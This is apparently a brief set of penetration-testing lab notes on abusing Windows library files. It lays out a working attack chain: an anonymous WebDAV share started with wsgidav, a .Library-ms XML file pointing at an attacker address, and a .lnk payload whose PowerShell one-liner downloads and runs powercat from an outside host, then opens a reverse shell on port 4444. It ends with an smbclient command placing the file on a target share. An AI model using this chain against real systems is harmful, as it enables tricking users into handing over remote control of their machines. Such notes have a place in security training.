Abusing Windows Library


create webdav share

pip3 install wsgidav

/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/

config

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

When we re-open our file in Visual Studio Code, we find that a new

tag appeared named serialized. The tag contains

base64-encoded information about the location of the url tag.

Additionally, the content inside the url tags has changed from

http://192.168.119.2 to \\192.168.119.2\DavWWWRoot.

The goal is to start a reverse shell by putting the

.lnk shortcut file on the WebDAV share for the victim to execute.

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1');
powercat -c 192.168.119.3 -p 4444 -e powershell"


#than we put it on the share

smbclient //192.168.50.195/share -c 'put config.Library-ms'